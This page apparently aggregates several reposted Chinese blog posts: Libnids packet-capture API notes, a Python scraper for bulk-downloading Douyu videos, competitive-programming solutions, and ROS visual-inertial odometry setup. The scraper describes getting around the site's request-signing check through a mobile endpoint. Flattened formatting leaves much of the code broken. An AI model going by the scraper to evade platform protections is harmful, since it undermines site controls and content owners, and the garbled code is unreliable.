调用成功返回 1,失败返回 0 参 数 : 无 功 能 : 对 Libnids 初始化, 这是所有设计基于 Libnids 的程序最开始调用的函数 . 它的主要内容包括打开网络接口 , 打开文件 , 编译过滤规则 , 判断网络链路层类型, 进行必要的初始化工作 / int nids_init (void); / 返回值 : 无 参 数 : 回调函数名字 功 能 : 注册一个能够检测所有 IP 数据包的回调函数, 包括 IP 碎片 .e.g nids_register_ip_frag(ip_frag_function); void ip_frag_function(struct ip a_packet,int len) a_packet 表示接收的IP 数据包 len 表示接收的数据包长度 此回调函数可以检测所有的IP 数据包 , 包括 IP 碎片 / void nids_register_ip_frag (void ()); // / 返回值 : 无 参 数 : 回调函数名字 功 能 : 注册一个回调函数 , 此回调函数可以接收正常的IP 数据包 .e.g nids_register_ip_frag(ip_frag_function); void ip_frag_function(struct ip a_packet) a_packet 表示接收的IP 数据包 此回调函数可以接收正常的IP 数据包 , 并在此函数中对捕获数到的 IP数据包进行分析 . / void nids_register_ip (void ()); // / 返回值 : 无 参 数 : 回调函数 功 能 : 注册一个 TCP 连接的回调函数. 回调函数的类型定义如下 : void tcp_callback(struct tcp_stream ns,void param) ns 表示一个TCP 连接的所有信息 , param 表示要传递的参数信息 , 可以指向一个 TCP连接的私有数据 此回调函数接收的TCP 数据存放在 half_stream 的缓存中 , 应该马上取出来 ,一旦此回调函数返回 , 此数据缓存中存储的数据就不存在 了 .half_stream 成员 offset描述了被丢弃的数据字节数 . 如果不想马上取出来 , 而是等到存储一定数量的数据之后再取出来, 那么可 以使用函数nids_discard(struct tcp_stream ns, int num_bytes)来处理 . 这样回调函数返回时 ,Libnids 将丢弃缓存数据之前 的 num_bytes 字节的数据 .如果不调用 nids_discard()函数 , 那么缓存数据的字节应该为 count_new 字节 . 一般情况下, 缓存中的数据 应该是count-offset 字节 / void nids_register_tcp (void ()); / 返回值 : 无 参 数 : 回调函数 功 能 : 注册一个分析 UDP 协议的回调函数, 回调函数的类型定义如下 : void udp_callback(struct tuple4 addr,char buf,int len,struct ip iph) addr 表示地址端口信息buf 表示 UDP 协议负载的数据内容 len表是 UDP 负载数据的长度 iph 表示一个IP 数据包 , 包括 IP 首部 ,UDP 首部以及UDP 负载内容 / void nids_register_udp (void ()); / 返回值 : 无 参 数 : 表示一个 TCP 连接 功 能 : 终止 TCP 连接 . 它实际上是调用 Libnet的函数进行构造数据包 , 然后发送出去 / void nids_killtcp (struct tcp_stream ); / 返回值 : 无 参 数 : 参数 1 一个 TCP 连接 参数 2 个数 功 能 : 丢弃参数 2 字节 TCP 数据 , 用于存储更多的数据 / void nids_discard (struct tcp_stream , int); / 返回值 : 无 参 数 : 无 功 能 : 运行 Libnids, 进入循环捕获数据包状态. 它实际上是调用 Libpcap 函数 pcap_loop()来循环捕获数据包 / void nids_run (void); / 返回值 : 调用成功返回文件描述符 ,失败返回 -1 参 数 : 无 功 能 : 获得文件描述符号 / int nids_getfd (void); / 返回值 : 调用成功返回个数 ,失败返回负数 参 数 : 表示捕获数据包的个数 功 能 : 调用 Libpcap 中的捕获数据包函数pcap_dispatch() / int nids_dispatch (int); / 返回值 : 调用成功返回 1,失败返回 0 参 数 : 无 功 能 : 调用 Libpcap 中的捕获数据包函数pcap_next() / int nids_next (void); extern struct nids_prm nids_params; /libnids.c定以了一个全部变量 , 其定义和初始值在 nids_params/ extern char nids_warnings[]; extern char nids_errbuf[]; extern struct pcap_pkthdr nids_last_pcap_header; struct nids_chksum_ctl { / 描述的是计算校验和 , 用于决定是否计算校验和/ u_int netaddr; / 表示地址 / u_int mask; / 表示掩码 / u_int action; / 表示动作 , 如果是NIDS_DO_CHKSUM, 表示计算校验和; 如果是 NIDS_DONT_CHKSUM, 表示不计算校验和 / u_int reserved; / 保留未用 / }; / 返回值 : 无 参 数 : 参数 1 表示 nids_chksum_ctl 列表 参数 2 表示列表中的个数 功 能 : 决定是否计算校验和 . 它是根据数据结构nids_chksum_ctl 中的action 进行决定的 , 如果所要计算的对象不在列表中 , 则必须都要计算校验和 / extern void nids_register_chksum_ctl(struct nids_chksum_ctl , int); endif / _NIDS_NIDS_H / 本篇文章为转载内容。原文链接：https://blog.csdn.net/xieqb/article/details/7681968。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 首先感谢以下大佬提供帮助 斗鱼视频下载-> https://www.jianshu.com/p/feccccb097be 批量合并处理B站视频->https://www.wandouip.com/t5i227224/ You-Get->https://you-get.org/ 思路 首先打开了PC端斗鱼视频一个链接：https://v.douyu.com/show/0Q8mMY0xXDL749Ad 发现一个参数在链接中 0Q8mMY0xXDL749Ad 通过抓包发现了一个很重要的文件：playlist.m3u8 里面包含了数个 .ts 的网络地址； .ts 文件是可以播放的视频片段； 发现 可以通过合并 .ts 片段可以得到完整视频； 出现一个问题：playlist.m3u8 怎么获取？ 发现：https://v.douyu.com/api/stream/getStreamUrl 可以获取 playlist.m3u8 文件地址； 需要POST传入一些参数才行，发现： sign 参数是一种签名，一般通过JS生成，找了半天没有方法生成 sign 参数； 通过查阅大佬文献发现：手机端的斗鱼视频有接口可以直接获取 playlist.m3u8 文件地址，成功越过 sign 签名防线； 手机端斗鱼视频链接：https://vmobile.douyu.com/show/0Q8mMY0xXDL749Ad 通过抓包发现：https://vmobile.douyu.com/video/getInfo?vid=0Q8mMY0xXDL749Ad； 这就解决了playlist.m3u8 文件获取问题：json[‘data’][‘video_url’] 第一个难题解决！！； 综上所述，整理一下具体采集流程： 获取vid = 0Q8mMY0xXDL749Ad (就是链接中的参数)； 通过 https://vmobile.douyu.com/video/getInfo?vid=0Q8mMY0xXDL749Ad 获取 playlist.m3u8 文件地址； 解析 playlist.m3u8 文件提取所有 .ts文件； 下载所有 .ts 文件； 合并 .ts 成视频文件输出； Python实现 不要开启线程池，因为会有一些问题 app.py config 中可以配置 import requestsimport reimport jsonimport timeimport pymongoimport psutilfrom hashlib import md5from moviepy.editor import from multiprocessing import Pool基本配置config = {'UID':'gKpdxKRWXwaW',用户ID'CID':104,栏目ID'TYPE':1, 1=>按用户id采集列表，2=>按栏目ID采集列表'TIME_START':1,起始时间'TIME_ENT':500,结束时间'PAGE_START':1,起始页'PAGE_END':10,结束页'TIME_GE':0,每个下载间隔时间'POOL':False,是否开启线程池'CHECKID':True, True 过滤已经下载过的视频 False 不过滤'FILE_PATH':'F:/ceshi/',下载目录，【会自动创建文件夹】'TS_PATH':'F:/ceshi/download/',缓存文件目录，【会自动创建文件夹】'DB_URL':'localhost',数据库地址'DB_NAME':'douyu',数据库名称''DB_TABLE':'douyu'数据库表}MongoDB初始化client = pymongo.MongoClient(config['DB_URL'])mango_db = client[config['DB_NAME']]MongoDB存储def save_to_mango(result):if mango_db[config['DB_TABLE']].insert_one({'vid':result}):print('成功存储到MangoDB')return Truereturn FalseMongoDB验证重复def check_to_mongo(vid):count = mango_db[config['DB_TABLE']].find({'vid':vid}).count()if count==0:return Falsereturn True删除文件def del_file(page):if os.path.exists(page): 删除文件，可使用以下两种方法。os.remove(page) os.unlink(my_file)else:print('no such file:%s' % page)循环列表删除文件def loop_del_file(arr):for item in arr:del_file(item)请求器def get_content_requests(url):headers = {}headers['user-agent']='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36'headers['cookie'] = 'dy_did=07f83a57d1d2e22942e0883200001501; acf_did=07f83a57d1d2e22942e0883200001501; Hm_lvt_e99aee90ec1b2106afe7ec3b199020a7=1556514266,1557050422,1557208315; acf_auth=; acf_auth_wl=; acf_uid=; acf_nickname=; acf_username=; acf_own_room=; acf_groupid=; acf_notification=; acf_phonestatus=; _dys_lastPageCode=page_video,page_video; Hm_lpvt_e99aee90ec1b2106afe7ec3b199020a7=1557209469; _dys_refer_action_code=click_author_video_cate2'try:req_content = requests.get(url,headers = headers)if req_content.status_code == 200:return req_contentprint('请求失败：',url)return Noneexcept:print('请求失败：', url)return None把时间换算成秒def str_to_int(time):try:time_array = time.split(':')time_int = (int(time_array[0])60)+int(time_array[1])return time_intexcept:print('~~~~~计算视频时间失败~~~~~')return None提取需要采集的数据def get_list(html,type = 1):data = []try:list_json = json.loads(str(html))for om in list_json['data']['list']:gtime = str_to_int(om['video_str_duration'])if gtime > config['TIME_START'] and gtime < config['TIME_ENT']:if type == 2:data.append({'title': om['title'], 'vid': om['url'].split('show/')[1]})else:data.append({'title': om['title'], 'vid': om['hash_id']})return dataexcept:print('~~~~~数据提取失败~~~~~')return None解析playlist.m3u8def get_ts_list(m3u8):data = []try:html_m3u8_json = json.loads(m3u8)m3u8_text = get_content_requests(html_m3u8_json['data']['video_url'])m3u8_vurl =html_m3u8_json['data']['video_url'].split('playlist.m3u8?')[0]if m3u8_text:get_text = re.findall(',\n(.?).ts(.?)\n',m3u8_text.text,re.S)for item in get_text:data.append(m3u8_vurl+item[0]+'.ts'+item[1])return datareturn Noneexcept:print('~~~~~解析playlist.m3u8失败~~~~~')return None 杀死moviepy产生的特定进程def killProcess(): 处理python程序在运行中出现的异常和错误try: pids方法查看系统全部进程pids = psutil.pids()for pid in pids: Process方法查看单个进程p = psutil.Process(pid) print('pid-%s,pname-%s' % (pid, p.name())) 进程名if p.name() == 'ffmpeg-win64-v4.1.exe': 关闭任务 /f是强制执行，/im对应程序名cmd = 'taskkill /f /im ffmpeg-win64-v4.1.exe 2>nul 1>null' python调用Shell脚本执行cmd命令os.system(cmd)except:pass下载.ts文件def download_ts(m3u8_list,name):try:if not os.path.exists(config['FILE_PATH']):os.makedirs(config['FILE_PATH'])if not os.path.exists(config['TS_PATH']):os.makedirs(config['TS_PATH'])if os.path.exists(config['FILE_PATH']+name+'.mp4'):name = name+'_'+str(int(time.time()))print('开始下载：',name)L = []R = []for p in m3u8_list:ts_find = get_content_requests(p)file_ts = '{0}{1}.ts'.format(config['TS_PATH'],md5(ts_find.content).hexdigest())with open(file_ts,'wb') as f:f.write(ts_find.content)R.append(file_ts)hebing = VideoFileClip(file_ts)L.append(hebing)killProcess()print('下载完成：',file_ts)mp4file = '{0}{1}.mp4'.format(config['FILE_PATH'],name)final_clip = concatenate_videoclips(L)final_clip.to_videofile(mp4file, fps=24, remove_temp=True)killProcess()loop_del_file(R)print('\n下载完成：',name)print('')return Trueexcept:print('~~~~~合成.ts文件失败~~~~~')return None下载视频列表def list_get_kong(list_json):for item in list_json:y = Trueif config['CHECKID']:if check_to_mongo(item['vid']):print('~~~~~检测到重复项~~~~~')y = Falseif y:get_show_html = get_content_requests('https://vmobile.douyu.com/video/getInfo?vid=' + item['vid'])if get_show_html:m3u8_list = get_ts_list(get_show_html.text)if m3u8_list:download = download_ts(m3u8_list, item['title'])if download: save_to_mango(item['vid'])time.sleep(config['TIME_GE'])控制器def main(page):if config['TYPE']==1:print('~~~~~按用户ID采集~~~~~')listurl = 'https://v.douyu.com/video/author/getAuthorVideoListByNew?up_id={0}&cate2_id=0&limit=30&page={1}'.format(config['UID'],page)get_list_html = get_content_requests(listurl)if get_list_html:list_json = get_list(get_list_html.text,1)if list_json:list_get_kong(list_json)else:print('~~~~~按列表ID采集~~~~~')listurl = 'https://v.douyu.com/video/video/listData?page={1}&cate2Id={0}&action=new'.format(config['CID'],page)get_list_html = get_content_requests(listurl)if get_list_html:list_json = get_list(get_list_html.text,2)if list_json:list_get_kong(list_json)初始化if __name__=='__main__':if config['POOL']:groups = [x for x in range(config['PAGE_START'],config['PAGE_END']+1)]pool = Pool()pool.map(main, groups)else:for item in range(config['PAGE_START'],config['PAGE_END']+1):main(item)print('~~~~~已经完成【所有操作】~~~~~') 总结：众所周知，BiliBili是一个学习的网站！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_35875470/article/details/89857445。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

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'\n':' ');}return 0;} D: 最大能量 题目描述 一年一度的宇宙超级运动会在宇宙奥特英雄体育场隆重举行。X星人为这场运动会准备了很长时间，他大显身手的时刻终于到了！ 为了保持良好的竞技状态和充沛的体能，X星人准备了N种不同的能量包。 虽然每种能量包都有无限个，但是因为同一种能量包使用太多会带来副作用，因此同样的能量包不能同时使用超过两个，也就是说最多同时可以使用两个相同的能量包。 每种能量包都有一个重量值和能量值。由于这些能量包的特殊性，必须要完整地使用一个能量包才能够发挥功效，否则将失去对应的能量值。 考虑到竞赛的公平性，竞赛组委会规定每个人赛前补充的能量包的总重量不能超过W。 现在需要你编写一个程序计算出X星人能够拥有的最大能量值是多少？ 输入 单组输入。 第1行包含两个正整数N和W，其中N<=10^ 3，W<=10^ 3。 第2行到第N+1行，每一行包含两个正整数，分别表示每一种能量包的重量和能量值，两个正整数之间用空格隔开。每一种能量包的重量和能量值都是小于等于100的正整数。 输出 输出X星人能够拥有的最大能量值。 背包 可以看成每个物品个数为2的多重背包，用多重背包的方法做；也可以看成总共有2n个物品，用一般背包的方法做 //方法1include <bits/stdc++.h>using namespace std;int c[1005],w[1005];//重量 能量int f[10005];int main(){int n,m;cin>>n>>m;for(int i=1;i<=n;i++)cin>>c[i]>>w[i];for(int i=1;i<=n;i++)for(int j=m;j>=c[i];--j){for(int k=1;k<=2&&kc[i]<=j;k++){f[j]=max(f[j],f[j-c[i]k]+w[i]k);} }cout<<f[m]<<endl;return 0;}//方法2include<bits/stdc++.h>using namespace std;const int N=1e3+5;int a[2N],b[2N],dp[N],n,m;int main(){cin>>n>>m;for(int i=1;i<=n;i++){cin>>a[i]>>b[i];a[i+n]=a[i],b[i+n]=b[i];}for(int i=1;i<=2n;i++){for(int j=m;j>=a[i];j--){dp[j]=max(dp[j],dp[j-a[i]]+b[i]);} }cout<<dp[m]<<'\n';return 0;} E: 最大素数 题目描述 输入一个数字字符串，从中删除若干个（包含0个）数字后可以得到一个素数，请编写一个程序求解删除部分数字之后能够得到的最大素数。 例如，输入“1234”，删除1和4，可以得到的最大素数为23。 输入 输入一个数字字符串，从中删除若干个（包含0个）数字后可以得到一个素数，请编写一个程序求解删除部分数字之后能够得到的最大素数。 例如，输入“1234”，删除1和4，可以得到的最大素数为23。 输出 输入一个数字字符串，从中删除若干个（包含0个）数字后可以得到一个素数，请编写一个程序求解删除部分数字之后能够得到的最大素数。 例如，输入“1234”，删除1和4，可以得到的最大素数为23。 搜索 这里用的bfs，优先搜索当前最大的数，如果这个数已经是素数那么就是答案 我说不清楚，参考代码吧 include <bits/stdc++.h>using namespace std;bool isprime(int n){//素数判断if(n<2)return 0;for(int i=2;i<=(int)sqrt(n);++i)if(n%i==0)return 0;return 1;}struct node {string s;int len;bool operator<(const node &q)const{if(len!=q.len)return len<q.len;return s<q.s;} };bool check(string str){int m=0;for(int i=0;i<str.size();i++){m=m10+str[i]-'0';}return isprime(m);}bool flag;map<string,bool>vis;string s;void bfs(){priority_queue<node>q;q.push({s,s.size()});while(!q.empty()){node k=q.top();q.pop();if(vis[k.s])continue;vis[k.s]=1;if(check(k.s)){cout<<k.s<<endl;flag=1;return ;}for(int i=0;i<k.s.size();i++){//去掉第i个字符string s1=k.s.substr(0,i)+k.s.substr(i+1);q.push({s1,s1.size()});} }}int main(){cin>>s;bfs();if(!flag)puts("No result.");return 0;} F: 最大计分 题目描述 小米和小花在玩一个删除数字的游戏。 游戏规则如下： 首先随机写下N个正整数，然后任选一个数字作为起始点，从起始点开始从左往右每次可以删除一个数字，但是必须满足下一个删除的数字要小于上一个删除的数字。每成功删除一个数字计1分。 请问对于给定的N个正整数，一局游戏过后可以得到的最大计分是多少？ 输入 单组输入。 第1行输入一个正整数N表示数字的个数（N<=10^3）。 第2行输入N个正整数，两两之间用空格隔开。 输出 对于给定的N个正整数，一局游戏过后可以得到的最大计分值。 最长下降子序列 将数组逆转就等价于求最长上升子序列长度 include <bits/stdc++.h>using namespace std;int arr[1005];int main(){int n;cin>>n;for(int i=0;i<n;i++)cin>>arr[i];reverse(arr,arr+n);vector<int>stk;stk.push_back(arr[0]);for (int i = 1; i < n; ++i) {if (arr[i] > stk.back())stk.push_back(arr[i]);elselower_bound(stk.begin(), stk.end(), arr[i]) = arr[i];}cout << stk.size() << endl;return 0;} G: 密钥 题目描述 X星人又截获了Y星人的一段密文。 破解这段密文需要使用一个密钥，而这个密钥存在于一个正整数N中。 聪明的X星人终于找到了获取密钥的方法：这个正整数的最后一位是一个非零数K（K>=2），需要将正整数N切分成K个小的整数，并且要使得这K个较小整数的乘积达到最大。而所得到的最大乘积就是破解密文所需的密钥。 你能否帮X星人编写一段程序来得到密钥呢？ 输入 X星人又截获了Y星人的一段密文。 破解这段密文需要使用一个密钥，而这个密钥存在于一个正整数N中。 聪明的X星人终于找到了获取密钥的方法：这个正整数的最后一位是一个非零数K（K>=2），需要将正整数N切分成K个小的整数，并且要使得这K个较小整数的乘积达到最大。而所得到的最大乘积就是破解密文所需的密钥。 你能否帮X星人编写一段程序来得到密钥呢？ 输出 将N划分为K个整数后的最大乘积。 搜索 include <bits/stdc++.h>using namespace std;define ll long longll n;ll ans;void dfs(ll sum,ll m,int res){if(res==1){ans=max(ans,summ);return ;}int num=(int)log10(m)+1;//m的位数int k=10;for(int i=1;i<=num-res+1;i++){//保证剩余的数至少还有res-1位dfs(sum(m%k),m/k,res-1);k=10;}return ;}int main(){cin>>n;dfs(1ll,n,n%10);cout<<ans<<endl;return 0;} H: X星大学 题目描述 X星大学新校区终于建成啦！ 新校区一共有N栋教学楼和办公楼。现在需要用光纤把这N栋连接起来，保证任意两栋楼之间都有一条有线网络通讯链路。 已知任意两栋楼之间的直线距离（单位：千米）。为了降低成本，要求两栋楼之间都用直线光纤连接。 光纤的单位成本C已知（单位：X星币/千米），请问最少需要多少X星币才能保证任意两栋楼之间都有光纤直接或者间接相连？ 注意：如果1号楼和2号楼相连，2号楼和3号楼相连，则1号楼和3号楼间接相连。 输入 单组输入。 第1行输入两个正整数N和C，分别表示楼栋的数量和光纤的单位成本（单位：X星币/千米），N<=100，C<=100。两者之间用英文空格隔开。 接下来N(N-1)/2行，每行包含三个正整数，第1个正整数和第2个正整数表示楼栋的编号（从1开始一直到N），编号小的在前，编号大的在后，第3个正整数为两栋楼之间的直线距离（单位：千米）。 输出 输出最少需要多少X星币才能保证任意两栋楼之间都有光纤直接或者间接相连。 最小生成树模板题 //prim（）最小生成树include <bits/stdc++.h>using namespace std;define ll long longdefine INF 0x3f3f3f3fint n,c;int dist[105];bool vis[105];int a[105][105];ll prim(int pos){memset(dist,INF,sizeof(dist));dist[pos]=0;ll sum=0;for(int i=1;i<=n;i++){int cur=-1;for(int j=1;j<=n;j++){if(!vis[j]&&(cur==-1||dist[j]<dist[cur]))cur=j;}if(dist[cur]>=INF)return INF;sum+=dist[cur];vis[cur]=1;for(int l=1;l<=n;l++)if(!vis[l])dist[l]=min(dist[l],a[cur][l]);}return sum;}int main() {scanf("%d%d",&n,&c);int x,y,z;memset(a,INF,sizeof(a));for(int i=1;i<=n;i++)a[i][i]=0;for(int i=1;i<=n(n-1)/2;i++){scanf("%d%d%d",&x,&y,&z);a[x][y]=min(a[x][y],z);a[y][x]=a[x][y];}printf("%lld\n",prim(1)c);return 0;}//Kruskal（）最小生成树include<bits/stdc++.h>using namespace std;struct node {int x,y,z;}edge[10005];bool cmp(node a,node b) {return a.z < b.z;}int fa[105];int n,m,c;long long sum;int get(int x) {return x == fa[x] ? x : fa[x] = get(fa[x]);}int main() {scanf("%d%d",&n,&c);m=n(n-1)/2;for(int i = 1; i <= m; i ++) {scanf("%d%d%d",&edge[i].x,&edge[i].y,&edge[i].z);}for(int i = 0; i <= n; i ++) {fa[i] = i;}sort(edge + 1,edge + 1 + m,cmp);// 每次加入一条最短的边for(int i = 1; i <= m; i ++) {int x = get(edge[i].x);int y = get(edge[i].y);if(x == y) continue;fa[y] = x;sum += edge[i].z;}printf("%lld\n",sumc);return 0;} 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_52139055/article/details/123284091。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 s_msckf：采用多状态约束的双目vio系统 !!!注意imuCallback：接收IMU数据，将IMU数据存到imu_msg_buffer中，这里只会利用开头200帧IMU数据进行静止初始化，不做其他处理。featureCallback：接收双目特征，进行后端处理。利用IMU进行EKF Propagation，利用双目特征进行EKF Update。静止初始化(initializeGravityAndBias)：将前200帧加速度和角速度求平均, 平均加速度的模值g作为重力加速度, 平均角速度作为陀螺仪的bias, 计算重力向量(0,0,-g)和平均加速度之间的夹角(旋转四元数), 标定初始时刻IMU系与world系之间的夹角. 因此MSCKF要求前200帧IMU是静止不动的 sudo apt-get install libsuitesparse-devcd ~/catkin_ws/srcgit clone KumarRobotics/msckf_viocd ..catkin_make --pkg msckf_vio --cmake-args -DCMAKE_BUILD_TYPE=Release激活环境变量很关键source /devel/setup.bashroslaunch msckf_vio msckf_vio_euroc.launch注意文件路径rosrun rviz rviz -d rviz/rviz_euroc_config.rviz (改成你自己的rviz文件)rosbag play ~/data/euroc/MH_04_difficult.bag(改成你自己的rosbag文件) 可以看到，s_msckf的输出是没有轨迹的，可以增加如下脚本，将/odom存为/path，在rviz订阅即可可视化轨迹 脚本来自其issue：https://github.com/KumarRobotics/msckf_vio/issues/13 !/usr/bin/env pythonimport rospyfrom nav_msgs.msg import Odometry, Pathfrom geometry_msgs.msg import PoseStampedclass OdomToPath:def __init__(self):self.path_pub = rospy.Publisher('/slz_path', Path, latch=True, queue_size=10)self.odom_sub = rospy.Subscriber('/firefly_sbx/vio/odom', Odometry, self.odom_cb, queue_size=10)self.path = Path()def odom_cb(self, msg):cur_pose = PoseStamped()cur_pose.header = msg.headercur_pose.pose = msg.pose.poseself.path.header = msg.headerself.path.poses.append(cur_pose)self.path_pub.publish(self.path)if __name__ == '__main__':rospy.init_node('odom_to_path')odom_to_path = OdomToPath()rospy.spin() 或者增加一个draw_path的功能包： cpp为： include <stdio.h>include <stdlib.h>include <unistd.h>include <ros/ros.h>include <ros/console.h>include <nav_msgs/Path.h>include <std_msgs/String.h>include <nav_msgs/Odometry.h>include <geometry_msgs/Quaternion.h>include <geometry_msgs/PoseStamped.h>nav_msgs::Path path;ros::Publisher path_pub;ros::Subscriber odomSub;ros::Subscriber odom_raw_Sub;void odomCallback(const nav_msgs::Odometry::ConstPtr& odom){geometry_msgs::PoseStamped this_pose_stamped;this_pose_stamped.header= odom->header;this_pose_stamped.pose = odom->pose.pose;//this_pose_stamped.pose.position.x = odom->pose.pose.position.x;//this_pose_stamped.pose.position.y = odom->pose.pose.position.y;//this_pose_stamped.pose.orientation = odom->pose.pose.orientation;//this_pose_stamped.header.stamp = ros::Time::now();//this_pose_stamped.header.frame_id = "world";//frame_id 是消息中与数据相关联的参考系id，例如在在激光数据中，frame_id对应激光数据采集的参考系 path.header= this_pose_stamped.header;path.poses.push_back(this_pose_stamped);//path.header.stamp = ros::Time::now();//path.header.frame_id= "world";path_pub.publish(path);//printf("path_pub ");//printf("odom %.3lf %.3lf\n",odom->pose.pose.position.x,odom->pose.pose.position.y);}int main (int argc, char argv){ros::init (argc, argv, "showpath");ros::NodeHandle ph;path_pub = ph.advertise<nav_msgs::Path>("/trajectory",10, true);odomSub = ph.subscribe<nav_msgs::Odometry>("/firefly_sbx/vio/odom", 10, odomCallback);//ros::Rate loop_rate(50);while (ros::ok()){ros::spinOnce(); // check for incoming messages//loop_rate.sleep();}return 0;} cmakelists.txt cmake_minimum_required(VERSION 2.8.3)project(draw) Compile as C++11, supported in ROS Kinetic and newer add_compile_options(-std=c++11) Find catkin macros and libraries if COMPONENTS list like find_package(catkin REQUIRED COMPONENTS xyz) is used, also find other catkin packagesfind_package(catkin REQUIRED COMPONENTSgeometry_msgsroscpprospystd_msgsmessage_generation)catkin_package( INCLUDE_DIRS include LIBRARIES learning_communicationCATKIN_DEPENDS geometry_msgs roscpp rospy std_msgs message_runtime DEPENDS system_lib) Build include_directories(include${catkin_INCLUDE_DIRS})add_executable(draw_path draw.cpp)target_link_libraries(draw_path ${catkin_LIBRARIES}) package.xml <?xml version="1.0"?><package><name>draw</name><version>0.0.0</version><description>The learning_communication package</description><!-- One maintainer tag required, multiple allowed, one person per tag --><!-- Example: --><!-- <maintainer email="jane.doe@example.com">Jane Doe</maintainer> --><maintainer email="hcx@todo.todo">hcx</maintainer><!-- One license tag required, multiple allowed, one license per tag --><!-- Commonly used license strings: --><!-- BSD, MIT, Boost Software License, GPLv2, GPLv3, LGPLv2.1, LGPLv3 --><license>TODO</license><!-- Url tags are optional, but multiple are allowed, one per tag --><!-- Optional attribute type can be: website, bugtracker, or repository --><!-- Example: --><!-- <url type="website">http://wiki.ros.org/learning_communication</url> --><!-- Author tags are optional, multiple are allowed, one per tag --><!-- Authors do not have to be maintainers, but could be --><!-- Example: --><!-- <author email="jane.doe@example.com">Jane Doe</author> --><!-- The _depend tags are used to specify dependencies --><!-- Dependencies can be catkin packages or system dependencies --><!-- Examples: --><!-- Use build_depend for packages you need at compile time: --><!-- <build_depend>message_generation</build_depend> --><!-- Use buildtool_depend for build tool packages: --><!-- <buildtool_depend>catkin</buildtool_depend> --><!-- Use run_depend for packages you need at runtime: --><!-- <run_depend>message_runtime</run_depend> --><!-- Use test_depend for packages you need only for testing: --><!-- <test_depend>gtest</test_depend> --><buildtool_depend>catkin</buildtool_depend><build_depend>geometry_msgs</build_depend><build_depend>roscpp</build_depend><build_depend>rospy</build_depend><build_depend>std_msgs</build_depend><run_depend>geometry_msgs</run_depend><run_depend>roscpp</run_depend><run_depend>rospy</run_depend><run_depend>std_msgs</run_depend><build_depend>message_generation</build_depend><run_depend>message_runtime</run_depend><!-- The export tag contains other, unspecified, tags --><export><!-- Other tools can request additional information be placed here --></export></package> vins_fusion: 双目vio等多系统 mkdir -p vins-catkin_ws/srccd vins-catkin_ws/srcgit clone https://github.com/HKUST-Aerial-Robotics/VINS-Fusion.gitcd ..catkin_makesource devel/setup.bash按照readme 3.1 Monocualr camera + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.2 Stereo cameras + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.3 Stereo camerasroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/euroc.gif" width = 430 height = 240 /> 4. KITTI Example 4.1 KITTI Odometry (Stereo)Download [KITTI Odometry dataset](http://www.cvlibs.net/datasets/kitti/eval_odometry.php) to YOUR_DATASET_FOLDER. Take sequences 00 for example,Open two terminals, run vins and rviz respectively. (We evaluated odometry on KITTI benchmark without loop closure funtion)roslaunch vins vins_rviz.launch(optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yamlrosrun vins kitti_odom_test ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yaml YOUR_DATASET_FOLDER/sequences/00/ 4.2 KITTI GPS Fusion (Stereo + GPS)Download [KITTI raw dataset](http://www.cvlibs.net/datasets/kitti/raw_data.php) to YOUR_DATASET_FOLDER. Take [2011_10_03_drive_0027_synced](https://s3.eu-central-1.amazonaws.com/avg-kitti/raw_data/2011_10_03_drive_0027/2011_10_03_drive_0027_sync.zip) for example.Open three terminals, run vins, global fusion and rviz respectively. Green path is VIO odometry; blue path is odometry under GPS global fusion.roslaunch vins vins_rviz.launchrosrun vins kitti_gps_test ~/catkin_ws/src/VINS-Fusion/config/kitti_raw/kitti_10_03_config.yaml YOUR_DATASET_FOLDER/2011_10_03_drive_0027_sync/ rosrun global_fusion global_fusion_node<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/kitti.gif" width = 430 height = 240 /> 5. VINS-Fusion on car demonstrationDownload [car bag](https://drive.google.com/open?id=10t9H1u8pMGDOI6Q2w2uezEq5Ib-Z8tLz) to 